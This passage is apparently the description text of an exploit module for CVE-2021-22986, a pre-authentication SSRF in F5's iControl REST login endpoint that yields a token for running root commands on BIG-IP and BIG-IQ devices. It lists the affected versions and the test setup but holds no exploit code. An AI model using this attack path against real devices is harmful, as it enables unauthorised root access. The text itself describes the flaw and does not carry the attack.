          This module exploits a pre-auth SSRF in the F5 iControl REST API's
          /mgmt/shared/authn/login endpoint to generate an X-F5-Auth-Token that
          can be used to execute root commands on an affected BIG-IP or BIG-IQ
          device. This vulnerability is known as CVE-2021-22986.

          CVE-2021-22986 affects the following BIG-IP versions:

          * 12.1.0 - 12.1.5
          * 13.1.0 - 13.1.3
          * 14.1.0 - 14.1.3
          * 15.1.0 - 15.1.2
          * 16.0.0 - 16.0.1

          And the following BIG-IQ versions:

          * 6.0.0 - 6.1.0
          * 7.0.0
          * 7.1.0

          Tested against BIG-IP Virtual Edition 16.0.1 in VMware Fusion.
